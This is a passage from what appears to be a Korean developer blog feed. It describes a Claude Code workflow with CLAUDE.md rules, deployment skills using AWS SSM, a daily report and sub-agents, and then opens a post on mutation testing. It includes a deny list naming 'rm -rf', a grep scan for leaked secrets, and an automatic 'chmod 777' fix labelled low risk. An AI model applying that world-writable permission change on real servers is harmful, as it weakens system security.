<p>많은 분들이 CLAUDE.md를 단순히 &quot;프로젝트 설명서&quot; 정도로 생각합니다. 하지만 실전에서는 &quot;<strong>AI의 행동 강령(Constitution)</strong>&quot; 역할을 해야 합니다.</p>
<h3 id="실제-사용-중인-claudemd-일부">실제 사용 중인 CLAUDE.md (일부)</h3>
<pre><code class="language-markdown"># QA Labs 개발 가이드

## 🏗️ 아키텍처 원칙 (필독)
- **Layered Architecture**: API → Service → Repository 계층을 엄격히 준수할 것.
- **테스트 우선**: 새로운 기능을 짤 때는 `tests/` 폴더에 실패하는 테스트 케이스를 먼저 만들고 구현할 것.
- **Docker**: 로컬 실행 시 `docker compose up` 외에 별도 가상환경 실행 금지.

## 🚨 Error Handling Protocol
- 500 에러 발생 시: 즉시 로그를 분석하고, 사용자가 아닌 시스템 관리자에게 알림을 보내는 로직을 제안할 것.
- DB 마이그레이션: `alembic` 자동 생성 후 반드시 `--autogenerate` 결과를 인간에게 리뷰 요청할 것 (절대 바로 적용 금지).

## 🛡️ 토큰 절약 (Cost Optimization)
- `node_modules`, `venv`, `target`, `dist` 폴더는 절대 읽지 말 것.
- 로그 파일은 `tail -n 50`으로 마지막 50줄만 읽을 것.

## 개발 워크플로우
- **Task 시작 시**: 사양 문서(docs/specs/) 필수 확인
- **Task 완료 시**: 테스트 실행 → 커밋
- **200줄 이상 변경**: 사용자 확인 요청</code></pre>
<h3 id="왜-효과적인가">왜 효과적인가?</h3>
<table>
<thead>
<tr>
<th>Before (CLAUDE.md 없음)</th>
<th>After (CLAUDE.md 있음)</th>
</tr>
</thead>
<tbody><tr>
<td>&quot;EC2에 어떻게 접속해?&quot; 매번 설명</td>
<td>SSM 사용한다는 걸 이미 앎</td>
</tr>
<tr>
<td>&quot;Docker 구조가 어떻게 되지?&quot;</td>
<td>Docker-in-Docker 구조 파악됨</td>
</tr>
<tr>
<td>Windows/Linux 경로 혼동</td>
<td>로컬=Windows, 서버=Linux 구분</td>
</tr>
</tbody></table>
<p><strong>Why?</strong> AI가 코드를 짤 때 매번 &quot;Service 계층 분리해줘&quot;라고 말할 필요가 없어집니다. CLAUDE.md에 박제해두면 AI가 알아서 구조를 지킵니다.</p>
<hr>
<h2 id="🌐-3-claude-chrome-터미널-밖으로-나온-ai-killer-feature-⭐">🌐 3. Claude Chrome: 터미널 밖으로 나온 AI (Killer Feature) ⭐</h2>
<p>최근 업데이트로 Claude Code가 <strong>Headless가 아닌 실제 Chrome 창</strong>을 띄워서 제어할 수 있게 되었습니다.</p>
<p>QA 엔지니어로서 이건 <strong>혁명</strong>입니다. 기존에는 AI가 코드는 짜줘도, 그 코드가 화면에 어떻게 렌더링 되는지는 &#39;상상&#39;해야 했습니다. 이제는 &#39;<strong>직접 보고</strong>&#39; 검증합니다.
<img src="https://velog.velcdn.com/images/ai_qa_patrick/post/531f2fe6-716e-46c8-acf2-4621fcf4434e/image.png" alt=""></p>
<p>🔍 <strong>활용 사례 1: 시각적 회귀 테스트 (Visual Regression)</strong>
&quot;로그인 페이지의 버튼이 모바일에서 깨지는지 확인해줘&quot;라고 시키면, Claude가 실제로 브라우저를 띄워 확인합니다.</p>
<pre><code class="language-Bash">$ claude &quot;모바일 뷰포트에서 로그인 버튼이 가려지는지 확인해.&quot;</code></pre>
<p><strong>Claude의 행동</strong>:</p>
<ol>
<li>npm run dev 실행</li>
<li>Chrome 실행 → localhost:3000 접속</li>
<li>창 크기 조절 (Mobile Viewport)</li>
<li>스크린샷 캡처 및 시각적 분석
<img src="https://velog.velcdn.com/images/ai_qa_patrick/post/f20e7212-8acd-4213-a74f-87dec4eb340f/image.png" alt=""></li>
</ol>
<p>🔍 <strong>활용 사례 1: E2E 통합테스트 (E2E Inrtegration test)</strong></p>
<pre><code class="language-Bash">$ claude 실 환경에서 주요 기능에 대한 통합테스트를 진행해줘</code></pre>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/30b1996f-5da4-4664-abdb-1ae44eb1e7a0/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/53e70314-0deb-4123-901f-2c9ce46382b7/image.png" alt=""></p>
<p><strong>QA Arena 적용기</strong>: 런칭 직전, 실제 배포된 사이트에서 회원가입부터 문제 풀이 제출까지의 User Flow를 Claude Chrome에게 시켰습니다. Playwright 스크립트를 짜는 단계를 건너뛰고, <strong>AI가 직접 유저처럼 클릭하며 테스트</strong>를 수행했습니다.</p>
<h2 id="🛠️-4-커스텀-스킬skills-반복-작업-자동화">🛠️ 4. 커스텀 스킬(Skills): 반복 작업 자동화</h2>
<p>쉘 스크립트(.sh)와 Claude Skill의 차이는 &quot;<strong>지능형 에러 핸들링</strong>&quot; 입니다.</p>
<p>스크립트는 에러 나면 죽지만, 스킬은 에러 나면 <strong>&quot;고쳐서 다시 시도&quot;</strong>합니다.</p>
<h3 id="프로젝트-스킬-구조">프로젝트 스킬 구조</h3>
<pre><code>.claude/
├── commands/             # 간단한 명령어
│   ├── check-sync.md     # 로컬-EC2 싱크 확인
│   ├── deploy.md         # 빠른 배포
│   └── logs.md           # 통합 로그 확인
│
├── skills/               # 복잡한 워크플로우
│   ├── ec2-deploy/       # 9단계 배포 자동화
│   ├── docker-debug/     # Docker 문제 진단/복구
│   ├── code-review/      # 코드 리뷰 자동화
│   ├── daily-report/     # 일일 모니터링 리포트 ⭐ NEW
│   ├── submission-test/  # E2E 테스트
│   └── pytest-problem-reviewer/
│
└── agents/               # 가상 팀원 시스템 ⭐ NEW
    ├── qa-engineer/      # 테스트 전담
    ├── db-admin/         # DB 관리 전담
    ├── docs-writer/      # 문서화 전담
    └── sre-devops/       # 인프라 전담</code></pre><hr>
<h2 id="🔥-실전-스킬-ec2-ssm-배포-자동화-ec2-deploy">🔥 실전 스킬: EC2 SSM 배포 자동화 (<code>/ec2-deploy</code>)</h2>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/5d8cd493-6ab2-41aa-b621-8d0210d56450/image.png" alt=""></p>
<pre><code class="language-markdown"># .claude/skills/ec2-deploy.md

## Description
안전하게 프로덕션 배포를 수행합니다. (검증 -&gt; 배포 -&gt; 롤백 준비)

## Steps
1. **Dirty Check**: `git status`가 깨끗한지 확인. 수정 사항 있으면 중단.
2. **Safety Scan**: 코드 내에 하드코딩된 API Key나 Password가 있는지 grep으로 스캔. 발견 시 즉시 중단.
3. **SSH Tunneling**: AWS SSM을 통해 터널링 연결.
4. **Deploy**: `docker compose up -d --build` 실행.
5. **Health Check**: `/health` 엔드포인트가 200 OK를 반환하는지 `curl`로 3회 시도.
   - ❌ 실패 시: 즉시 이전 이미지로 롤백 커맨드 실행 (`docker compose rollback` 등).
   - ✅ 성공 시: 배포 완료 로그 기록.</code></pre>
<p>이 스킬 덕분에 &quot;배포하다가 서버 터지면 어떡하지?&quot;라는 공포에서 해방되었습니다. 에러가 나면 AI가 알아서 롤백하니까요.</p>
<pre><code class="language-markdown">### Step 6: EC2 배포

AWS SSM send-command를 통해 EC2에 배포:

```bash
COMMAND_ID=$(aws ssm send-command \
  --instance-ids &quot;i-05b23ecec2bdcd44a&quot; \
  --document-name &quot;AWS-RunShellScript&quot; \
  --parameters &#39;commands=[&quot;cd /home/ssm-user/qa_labs &amp;&amp;
    git rev-parse HEAD &gt; .rollback_point &amp;&amp;
    git pull origin main &amp;&amp;
    docker compose -f docker-compose.prod.yml up -d --build&quot;]&#39; \
  --query &#39;Command.CommandId&#39; --output text)</code></pre>
<hr>
<h3 id="📊-5-daily-report-아침을-여는-명령어-daily-report">📊 5. Daily Report: 아침을 여는 명령어 (/daily-report)</h3>
<p><strong>1인 개발자의 가장 큰 적은 &#39;모니터링 시간의 부족함&#39;입니다.</strong> 이슈들을 수정해야 할 뿐만 아니라、현황을 토대로 한 기능 개선도 함께 마련해야 합니다. Skill은 이러한 부분을 해결해주었습니다.</p>
<p><strong>실행 명령어</strong></p>
<table>
<thead>
<tr>
<th>명령</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>/daily-report</td>
<td>리포트 생성</td>
</tr>
<tr>
<td>/daily-report --notify</td>
<td>리포트 + Discord 알림</td>
</tr>
</tbody></table>
<p><strong>수집하는 정보:</strong></p>
<table>
<thead>
<tr>
<th>카테고리</th>
<th>항목</th>
</tr>
</thead>
<tbody><tr>
<td>DB 현황</td>
<td>총 사용자, 금일 가입, 총 제출, 금일 제출</td>
</tr>
<tr>
<td>문제 통계</td>
<td>문제별 성공/실패/오류 수, 실패율</td>
</tr>
<tr>
<td>토큰 사용</td>
<td>AI 코치/힌트/피드백 사용량</td>
</tr>
<tr>
<td>오류 현황</td>
<td>발생 시간, 내용, 예상 원인</td>
</tr>
<tr>
<td>시스템 리소스</td>
<td>CPU, 메모리, 디스크 사용률</td>
</tr>
<tr>
<td>채점 시스템</td>
<td>평균 시간, 타임아웃 수, Worker 상태</td>
</tr>
</tbody></table>
<p><strong>실제 출력 예시:</strong></p>
<div style="margin:0; padding:0; line-height:0;">
  <img
    src="https://velog.velcdn.com/images/ai_qa_patrick/post/0469fdca-d9de-45f1-abce-e50cee9a7493/image.png"
    alt=""
    style="display:block; width:100%; height:auto; margin:0; padding:0; border:0;"
  />
  <img
    src="https://velog.velcdn.com/images/ai_qa_patrick/post/7dabe345-78d7-417f-9541-3d834602eefe/image.png"
    alt=""
    style="display:block; width:100%; height:auto; margin:-1px 0 0 0; padding:0; border:0;"
  />
</div>




<p>이제 퇴근 후 집에 도착하면 <code>/daily-report</code>를 치는 게 루틴이 되었습니다.</p>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/e2b5b1de-598c-4134-b400-6ed578b4826b/image.gif" alt=""></p>
<hr>
<h3 id="👯-코드-리뷰-자동화-code-review">👯 코드 리뷰 자동화 (<code>/code-review</code>)</h3>
<p>혼자 개발하면 코드 리뷰를 스킵하게 됩니다. 하지만 이 스킬이 있으면? (이건 최근에 런칭한 Plugin을 사용했어요)</p>
<pre><code class="language-markdown">## 리뷰 항목

### 코드 품질
- 타입 힌트 사용 여부
- PEP 8/ESLint 스타일 준수
- 복잡도 (너무 긴 함수, 깊은 중첩)

### 보안 검토
- 하드코딩된 비밀번호/API 키
- SQL Injection 가능성
- XSS 취약점

### 성능
- N+1 쿼리 패턴
- 불필요한 반복문

### 테스트 커버리지
- 새 코드에 대한 테스트 존재 여부</code></pre>
<p><strong>출력 예시:</strong></p>
<pre><code>========================================
코드 리뷰 결과
========================================

[보안 검토]
[OK] 민감 정보: 하드코딩된 비밀 없음
[WARN] SQL: raw SQL 사용 발견 (line 45)

[권장 사항]
1. submit_handler 함수 분리 (단일 책임 원칙)
2. line 45의 raw SQL을 ORM 쿼리로 변경

[결론]
[APPROVE] 변경사항 승인됨</code></pre><p><strong>배포와 연동:</strong></p>
<p><code>/ec2-deploy</code>에서 100줄 이상 변경 시 자동으로 <code>/code-review</code>가 호출됩니다. 대규모 변경은 무조건 리뷰를 거치게 되는 거죠.</p>
<hr>
<h3 id="⚰️-docker-디버깅-docker-debug">⚰️ Docker 디버깅 (<code>/docker-debug</code>)</h3>
<p>컨테이너가 죽었을 때 AI가 알아서 진단합니다.</p>
<h4 id="진단-워크플로우">진단 워크플로우</h4>
<pre><code class="language-bash">### Step 1: 컨테이너 상태 확인
docker compose -f docker-compose.prod.yml ps</code></pre>
<h3 id="step-5-docker-in-docker-특수-체크">Step 5: Docker-in-Docker 특수 체크</h3>
<pre><code class="language-bash"># Docker 소켓 마운트 확인
docker exec celery_worker ls -la /var/run/docker.sock

# judge 컨테이너가 실행 중인지
docker ps -a | grep judge</code></pre>
<p><strong>자동 복구까지:</strong></p>
<table>
<thead>
<tr>
<th>문제 유형</th>
<th>자동 수정 명령</th>
<th>위험도</th>
</tr>
</thead>
<tbody><tr>
<td>컨테이너 비정상</td>
<td><code>docker compose restart {service}</code></td>
<td>🟢 낮음</td>
</tr>
<tr>
<td>볼륨 권한</td>
<td><code>chmod 777 /tmp/qa_arena_judge</code></td>
<td>🟢 낮음</td>
</tr>
<tr>
<td>네트워크 문제</td>
<td>네트워크 재생성</td>
<td>🟠 중간</td>
</tr>
</tbody></table>
<p>위험도가 낮은 건 자동 실행, 높은 건 사용자 확인을 받습니다.</p>
<hr>
<h2 id="👥-5-agent-시스템-가상-팀원을-만들다">👥 5. Agent 시스템: 가상 팀원을 만들다</h2>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/ff9d6d4c-e71e-4c87-beb5-e4cea0cb2cf3/image.png" alt=""></p>
<p>Skills만으로는 한계가 있었습니다. 복잡한 작업은 여러 역할이 협업해야 하거든요.
그래서 만든 게 <strong>Agent 시스템</strong>입니다.</p>
<h3 id="skills-vs-agents-차이">Skills vs Agents 차이</h3>
<table>
<thead>
<tr>
<th>특성</th>
<th>Skills</th>
<th>Agents</th>
</tr>
</thead>
<tbody><tr>
<td>컨텍스트</td>
<td>메인 대화 공유</td>
<td>격리된 전용 컨텍스트</td>
</tr>
<tr>
<td>도구 접근</td>
<td>전체</td>
<td>역할별 제한</td>
</tr>
<tr>
<td>실행 방식</td>
<td>순차 (명령→완료)</td>
<td>독립 세션 (병렬 가능)</td>
</tr>
<tr>
<td>용도</td>
<td>단일 작업</td>
<td>지속적 역할 담당</td>
</tr>
</tbody></table>
<h3 id="가상-팀원-4명">가상 팀원 4명</h3>
<pre><code>.claude/agents/
├── qa-engineer/    # QA 엔지니어 (테스트 전담)
├── db-admin/       # DBA (스키마/쿼리 전담)
├── docs-writer/    # 테크니컬 라이터 (문서화 전담)
└── sre-devops/     # SRE (인프라/배포 전담)</code></pre><h3 id="qa-engineer-agent">QA Engineer Agent</h3>
<h4 id="역할">역할</h4>
<p>개발자가 기능을 구현하는 동안 <strong>백그라운드에서 테스트를 작성</strong></p>
<h4 id="핵심-책임">핵심 책임</h4>
<ol>
<li>테스트 케이스 작성 (pytest, Jest, Playwright)</li>
<li>버그 재현 시나리오 생성</li>
<li>회귀 테스트 수행</li>
<li>테스트 커버리지 분석</li>
</ol>
<h4 id="사용-예시">사용 예시</h4>
<pre><code>@qa-engineer &quot;결제 API에 대한 테스트 케이스 작성해줘&quot;
@qa-engineer --background &quot;변경된 코드에 대한 테스트 작성해줘&quot;</code></pre><h3 id="database-admin-agent">Database Admin Agent</h3>
<h4 id="역할-1">역할</h4>
<p>비즈니스 로직 없이 <strong>데이터 구조에만 집중</strong>하여 쿼리 정확도 향상</p>
<h4 id="핵심-책임-1">핵심 책임</h4>
<ol>
<li>스키마 설계 검토, 인덱스 전략</li>
<li>Alembic 마이그레이션 관리</li>
<li>느린 쿼리 분석, 실행 계획 검토</li>
<li>데이터 무결성 검증</li>
</ol>
<h4 id="안전-규칙">안전 규칙</h4>
<ul>
<li>SELECT 쿼리만 직접 실행</li>
<li>DROP/TRUNCATE/DELETE 금지</li>
<li>데이터 수정은 <strong>제안만</strong></li>
</ul>
<h3 id="sredevops-agent">SRE/DevOps Agent</h3>
<h4 id="역할-2">역할</h4>
<p>인프라 설정은 자주 안 건드리므로 <strong>별도 Agent로 격리</strong></p>
<h4 id="핵심-책임-2">핵심 책임</h4>
<ol>
<li>배포 워크플로우 실행 (/ec2-deploy 연계)</li>
<li>서비스 상태 확인, 로그 분석</li>
<li>컨테이너 문제 진단 (/docker-debug 연계)</li>
<li>롤백 수행</li>
</ol>
<h3 id="docs-writer-agent">Docs Writer Agent</h3>
<h4 id="역할-3">역할</h4>
<p>개발하는 동안 <strong>백그라운드에서 문서 자동 업데이트</strong></p>
<h4 id="변경-감지-→-문서-매핑">변경 감지 → 문서 매핑</h4>
<table>
<thead>
<tr>
<th>변경 파일</th>
<th>업데이트 대상</th>
</tr>
</thead>
<tbody><tr>
<td>backend/app/api/*.py</td>
<td>api-reference.md</td>
</tr>
<tr>
<td>backend/app/models/*.py</td>
<td>db-schema.md</td>
</tr>
<tr>
<td>docker-compose*.yml</td>
<td>infrastructure.md</td>
</tr>
</tbody></table>
<h4 id="왜-agent로-분리했나">왜 Agent로 분리했나?</h4>
<ol>
<li><strong>컨텍스트 오염 방지</strong>: 인프라 작업 중에 비즈니스 로직이 섞이면 혼란</li>
<li><strong>병렬 실행</strong>: 개발하면서 동시에 테스트 작성 가능</li>
<li><strong>권한 제한</strong>: 각 Agent가 할 수 있는 행동을 제한 (안전장치)</li>
<li><strong>역할 명확화</strong>: &quot;이건 QA가 할 일&quot; 같은 명확한 구분</li>
<li>1인 개발자로서 이러한 역할별 분배는 각각의 전문가를 두고 일하는 듯한 효과를 얻을 수 있었어요. </li>
</ol>
<hr>
<h2 id="📊-6-실제-효과">📊 6. 실제 효과</h2>
<h3 id="배포-시간-단축">배포 시간 단축</h3>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/40a603c7-f241-4333-bb1a-ddf7c59ed3bf/image.png" alt=""></p>
<table>
<thead>
<tr>
<th>항목</th>
<th>Before</th>
<th>After</th>
</tr>
</thead>
<tbody><tr>
<td>배포 전체</td>
<td>30분</td>
<td><strong>5분</strong></td>
</tr>
<tr>
<td>에러 디버깅</td>
<td>1시간+</td>
<td><strong>10분</strong></td>
</tr>
<tr>
<td>롤백</td>
<td>패닉</td>
<td><strong>자동</strong></td>
</tr>
</tbody></table>
<h3 id="운영-효율">운영 효율</h3>
<table>
<thead>
<tr>
<th>Before 😰</th>
<th>After 😎</th>
</tr>
</thead>
<tbody><tr>
<td><code>$ ssh ec2</code><br/><code>$ docker ps</code><br/><code>$ docker logs backend</code><br/><code>$ docker logs celery</code><br/><code>$ top</code><br/><code>$ df -h</code><br/>… (매일 반복)<br/><br/>⏱️ 매일 30분 수동 확인</td>
<td><code>$ /daily-report</code><br/><br/>📊 DB 현황<br/>🎯 문제별 실패율<br/>🤖 토큰 사용량<br/>🔴 오류 현황<br/>💻 시스템 리소스<br/><br/>⏱️ 1분 + Discord 알림</td>
</tr>
</tbody></table>
<h3 id="코드-품질">코드 품질</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th>Before</th>
<th>After</th>
</tr>
</thead>
<tbody><tr>
<td>보안 스캔</td>
<td>가끔 까먹음</td>
<td><strong>매 배포 시 자동</strong></td>
</tr>
<tr>
<td>코드 리뷰</td>
<td>혼자라 스킵</td>
<td><strong>100줄 이상 시 자동</strong></td>
</tr>
<tr>
<td>테스트</td>
<td>귀찮아서 스킵</td>
<td>Agent가 작성</td>
</tr>
</tbody></table>
<h3 id="정신-건강-😇">정신 건강 😇</h3>
<pre><code>Before: &quot;배포할 때마다 긴장됨&quot;
After: &quot;그냥 /ec2-deploy 치면 됨&quot;

Before: &quot;서비스 잘 돌아가나...?&quot;
After: &quot;/daily-report --notify&quot; + Discord 알림</code></pre><hr>
<h2 id="💡-7-실전-활용-팁">💡 7. 실전 활용 팁</h2>
<h3 id="tip-1-스킬은-작게-시작하라">Tip 1: 스킬은 작게 시작하라</h3>
<p>처음부터 완벽한 스킬을 만들려고 하지 마세요.</p>
<pre><code>1주차: &quot;배포 명령어 3줄&quot; 정도로 시작
2주차: &quot;헬스체크 추가&quot;
3주차: &quot;롤백 로직 추가&quot;
4주차: &quot;코드 리뷰 연동&quot;</code></pre><p>저도 처음엔 그냥 <code>git pull &amp;&amp; docker compose up</code>이 전부였습니다.</p>
<h3 id="tip-2-에러-패턴을-스킬에-녹여라">Tip 2: 에러 패턴을 스킬에 녹여라</h3>
<p>같은 에러가 2번 나오면, 그건 스킬에 넣을 타이밍입니다.</p>
<pre><code class="language-markdown">## 일반적인 문제 패턴

### 패턴 1: 컨테이너 반복 재시작
**원인:** 환경변수 누락, 의존성 미준비
**해결:** .env 파일 확인, depends_on 체크</code></pre>
<h3 id="tip-3-agent는-권한을-제한하라">Tip 3: Agent는 권한을 제한하라</h3>
<p>각 Agent에 <code>forbidden_tools</code>를 명시하세요.</p>
<pre><code class="language-yaml"># QA Engineer Agent
forbidden_tools:
  - Bash(docker *)      # Docker 조작 금지
  - Bash(git push)      # 푸시 금지
  - Bash(rm -rf)        # 삭제 금지</code></pre>
<p>실수로 위험한 명령이 실행되는 걸 방지합니다.</p>
<h3 id="tip-4-daily-report로-하루를-시작하라">Tip 4: Daily Report로 하루를 시작하라</h3>
<pre><code class="language-bash"># 아침 루틴
/daily-report

# 이상 있으면
/logs --error

# 문제 발견되면
/docker-debug</code></pre>
<p>이 세 단계면 대부분의 운영 이슈를 커버합니다.</p>
<hr>
<h2 id="⚠️-8-주의사항">⚠️ 8. 주의사항</h2>
<h3 id="ai를-너무-믿지-마라">AI를 너무 믿지 마라</h3>
<p>AI도 실수합니다. 특히:</p>
<ul>
<li><strong>민감 정보 노출</strong>: API 키, 비밀번호 커밋 주의</li>
<li><strong>파괴적 명령어</strong>: <code>rm -rf</code>, <code>DROP TABLE</code> 같은 건 항상 확인</li>
<li><strong>맥락 손실</strong>: 긴 대화에서 초기 지시사항을 까먹을 수 있음</li>
</ul>
<h3 id="내가-실제로-당한-것">내가 실제로 당한 것</h3>
<ul>
<li>Git 히스토리가 꼬인 적 있음 (다음 편에서 자세히...)</li>
<li>테스트 안 돌리고 커밋한 적 있음</li>
<li>환경변수 실수로 커밋할 뻔함</li>
<li>가이드대로 실행하지 않은 Skill을 실행한 Claude한테 사과를 받음</li>
</ul>
<p><strong>스킬에 안전장치를 넣어두세요.</strong></p>
<pre><code class="language-markdown">## 보안 스캔 (매 배포 시 필수)
```bash
git diff | grep -iE &quot;(password|secret|api_key)&quot; || echo &quot;Clean&quot;</code></pre>
<hr>
<h2 id="💬-9-마치며">💬 9. 마치며</h2>
<p>Claude Code + <strong>커스텀 Skills</strong> + <strong>Agent 시스템</strong> 조합은 <strong>1인 개발자의 생산성을 극대화</strong>합니다.</p>
<p>특히 QA 엔지니어처럼 <strong>반복적인 검증 작업</strong>이 많은 역할에게 유용해요.</p>
<blockquote>
<p>&quot;AI가 코드 짜주는 세상&quot;은 이미 왔습니다.
문제는 <strong>어떻게 활용하느냐</strong>입니다.</p>
</blockquote>
<p>정리하면:</p>
<table>
<thead>
<tr>
<th>기능</th>
<th>용도</th>
<th>핵심 가치</th>
</tr>
</thead>
<tbody><tr>
<td>CLAUDE.md</td>
<td>프로젝트 맥락 공유</td>
<td>매번 설명 안 해도 됨</td>
</tr>
<tr>
<td>Skills</td>
<td>반복 워크플로우 자동화</td>
<td>배포 30분→5분</td>
</tr>
<tr>
<td>Agents</td>
<td>가상 팀원 (병렬 작업)</td>
<td>혼자지만 혼자가 아님</td>
</tr>
<tr>
<td>Daily Report</td>
<td>운영 모니터링</td>
<td>서비스 상태 한눈에</td>
</tr>
</tbody></table>
<p>다음 편에서는 AI에게 Git을 맡겼다가 생긴 일들... 솔직하게 공유합니다.
제가 먼저 삽질했으니까 여러분은 피하세요 😎</p>
<hr>
<p>📌 <strong>다음 화 예고</strong>
<strong>Ep 3. (회고) AI 믿고 Git 맡겼다가 생긴 일: 의존의 장단점과 탈출 전략</strong></p>
<p>&quot;커밋 메시지도 AI가 쓰고, 브랜치 관리도 AI가 하고... 어느 날 히스토리가 꼬였습니다.&quot;
AI 의존의 함정과 건강한 협업 방법을 이야기합니다.</p>
<p>(1/17 금요일 발행)</p>
<hr>
<p><strong>[Project Info]</strong></p>
<ul>
<li>Service: <a href="https://qa-arena.qalabs.kr">https://qa-arena.qalabs.kr</a></li>
<li>Status: Open Beta (Non-profit Project)</li>
<li>Developer: Ryu Junghyun (QA Engineer)</li>
<li>Feedback: <a href="https://forms.gle/mk5zYKMTMq4PGRQz7">Google Form</a></li>
</ul>
<hr>
<h2 id="📚-참고-자료">📚 참고 자료</h2>
<ul>
<li><a href="https://docs.anthropic.com/claude/docs/claude-code">Claude Code 공식 문서</a></li>
<li><a href="https://docs.anthropic.com/claude/docs/claude-md">CLAUDE.md 작성 가이드</a></li>
<li><a href="https://docs.anthropic.com/claude/docs/skills">Skills 설정 방법</a></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[코드 커버리지 100%의 배신: 왜 내 테스트는 버그를 못 잡을까? (feat. Mutation Testing)
]]></title>
            <link>https://velog.io/@ai_qa_patrick/%EC%BD%94%EB%93%9C-%EC%BB%A4%EB%B2%84%EB%A6%AC%EC%A7%80-100%EC%9D%98-%EB%B0%B0%EC%8B%A0-%EC%99%9C-%EB%82%B4-%ED%85%8C%EC%8A%A4%ED%8A%B8%EB%8A%94-%EB%B2%84%EA%B7%B8%EB%A5%BC-%EB%AA%BB-%EC%9E%A1%EC%9D%84%EA%B9%8C-feat.-Mutation-Testing</link>
            <guid>https://velog.io/@ai_qa_patrick/%EC%BD%94%EB%93%9C-%EC%BB%A4%EB%B2%84%EB%A6%AC%EC%A7%80-100%EC%9D%98-%EB%B0%B0%EC%8B%A0-%EC%99%9C-%EB%82%B4-%ED%85%8C%EC%8A%A4%ED%8A%B8%EB%8A%94-%EB%B2%84%EA%B7%B8%EB%A5%BC-%EB%AA%BB-%EC%9E%A1%EC%9D%84%EA%B9%8C-feat.-Mutation-Testing</guid>
            <pubDate>Fri, 09 Jan 2026 01:10:53 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>📢 <strong>오픈 베타 테스트 참여 안내</strong>
현재 QA Arena는 오픈 베타 중입니다.
&quot;내 테스트 코드는 몇 점일까?&quot; 궁금하신 분들은 아래 링크에서 직접 대결해보세요!
👉 <a href="https://qa-arena.qalabs.kr/">QA Arena</a> 바로가기</p>
</blockquote>
<p><strong>&quot;커버리지 100% 달성했습니다! 🚀&quot;</strong></p>
<p>이 말을 들으면 왠지 모르게 안심이 되죠? 저도 그랬습니다. 초록색 바(Green Bar)가 꽉 찼을 때의 그 쾌감, QA라면 다 아실 겁니다.</p>
<p>그런데 말입니다... </p>
<p><strong>커버리지 100%인데 운영 환경에서 버그 터진 적, 없으신가요?</strong></p>
<p>솔직히 고백하자면, 저는 있습니다. 그것도 꽤 많이요. 😇
대체 왜 이런 일이 벌어지는 걸까요? 오늘은 그 &#39;불편한 진실&#39;과 해결책인 <strong>Mutation Testing</strong>에 대해 이야기해보려 합니다.</p>
<p><img src="https://velog.velcdn.com/images/ai_qa_patrick/post/7986c473-dfd4-4755-b662-f02174cf73e2/image.png" alt=""></p>
<h3 id="🤔-1-커버리지-100의-착각">🤔 1. 커버리지 100%의 착각</h3>
<p>아주 간단한 나눗셈 함수를 예로 들어볼게요.</p>
<pre><code class="language-python">def divide(a, b):
    return a / b

### 테스트 코드
def test_divide():
    assert divide(10, 2) == 5  # 통과!</code></pre>
<p>이 테스트를 돌리면 커버리지는 <strong>100%</strong>가 나옵니다. ✅
모든 라인을 실행했으니까요.</p>
<p>하지만 이 코드는 완벽한가요? 아니요, 폭탄을 안고 있습니다.</p>
<pre><code class="language-python">divide(10, 0)  # 💥 ZeroDivisionError 발생!</code></pre>
<p><strong>버그 발견: ❌</strong></p>
<p>여기서 코드 커버리지의 맹점이 드러납니다. 커버리지는 <strong>&quot;코드를 실행했느냐&quot;</strong>만 봅니다. <strong>&quot;버그를 검증했느냐&quot;</strong>는 관심이 없죠.</p>
<p><strong>커버리지가 말해주지 않는 것들</strong></p>
<table>
<thead>
<tr>
<th align="center">커버리지가 측정하는 것</th>
<th align="center">커버리지가 놓치는 것</th>
</tr>
</thead>
<tbody><tr>
<td align="center">코드 라인 실행 여부</td>
<td align="center">경계값(Boundary) 테스트 여부</td>
</tr>
<tr>
<td align="center">분기 진입 여부</td>
<td align="center">예외 상황(Exception) 처리</td>
</tr>
<tr>
<td align="center">함수 호출 여부</td>
<td align="center">실제 버그 탐지 능력</td>
</tr>
</tbody></table>
<p>비유하자면, 커버리지 100%는 <strong>&quot;시험 범위에 있는 교과서를 한 번씩 다 읽었다&quot;</strong>는 뜻입니다.
하지만 교과서를 다 읽었다고 <strong>&quot;시험 문제를 100점 맞는다&quot;</strong>는 보장은 없죠.</p>
<h3 id="💡-2-그래서-mutation-testing이-뭔데">💡 2. 그래서 Mutation Testing이 뭔데?</h3>
<p>여기서 발상의 전환이 필요합니다.</p>
<blockquote>
<p>** &quot;내 테스트가 강력한지 알고 싶다면, 일부러 코드에 버그를 심어보자.&quot;**</p>
</blockquote>
<p>이게 바로 <strong>Mutation Testing(변이 테스트)</strong>의 핵심입니다.</p>
<h4 id="동작-원리">동작 원리</h4>
<ol>
<li><strong>Mutant 생성</strong>: 멀쩡한 원본 코드에 일부러 버그를 주입합니다. (연산자를 바꾸거나, 리턴값을 조작하거나 등등)</li>
<li><strong>테스트 실행</strong>: 내가 짠 테스트 코드로 이 &#39;버그 걸린 코드&#39;를 돌려봅니다.</li>
<li><strong>결과 판정</strong>:<ul>
<li>테스트가 <strong>실패했다</strong> ➡️ Mutant Killed ✅ (나이스! 테스트가 버그를 잡았음)</li>
<li>테스트가 <strong>통과했다</strong> ➡️ Mutant Survived ⚠️ (이런, 버그가 있는데도 테스트가 모름)</li>
</ul>
</li>
</ol>
<h4 id="다시-보는-나눗셈-예제">다시 보는 나눗셈 예제</h4>
<p>아까 그 <strong>divide</strong> 함수에 몰래 버그를 심어보겠습니다.</p>
<pre><code class="language-python"># 원본 코드
def divide(a, b):
    return a / b

# 😈 Mutant 1: 연산자 변경 (/ → *)
def divide_mutant1(a, b):
    return a * b  # 버그 주입!

# 😈 Mutant 2: 반환값 변경
def divide_mutant2(a, b):
    return 0  # 무조건 0 리턴!</code></pre>
<p>아까 작성한 테스트 (<code>assert divide(10, 2) == 5</code>)로 검증해볼까요?</p>
<table>
<thead>
<tr>
<th align="center"><strong>Mutant</strong></th>
<th align="center"><strong>결과</strong></th>
<th align="center"><strong>판정</strong></th>
</tr>
</thead>
<tbody><tr>
<td align="center"><code>a * b</code></td>
<td align="center"><code>20 != 5 (테스트 실패)</code></td>
<td align="center">✅ <strong>Killed</strong> <em>(잡았다 요놈!)</em></td>
